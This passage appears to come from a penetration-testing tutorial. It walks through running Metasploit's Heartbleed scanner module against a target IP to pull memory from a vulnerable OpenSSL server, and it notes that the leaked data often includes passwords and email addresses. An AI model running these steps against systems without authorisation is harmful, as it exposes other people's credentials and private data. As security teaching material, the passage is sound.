Let's perform the following steps:

1. We start msfconsole by typing this:

msfconsole  

The output of the preceding command is shown in the following screenshot:

2. Search for the heartbleed auxiliary using the following command:

search heartbleed  

The output of the preceding command is shown in the following screenshot:

3. Use auxiliary with the following command:

use auxiliary/scanner/ssl/openssl_heartbleed

4. View the options using the following command:

show options  

The output of the preceding command is shown in the following screenshot:

5. Set the RHOSTS to our target IP using the following command:

set RHOSTS x.x.x.x  

6. Set the verbosity to true using the following command:

set verbose true  

7. Type run and we should now see the data in; this data often contains sensitive information, such as passwords and email IDs: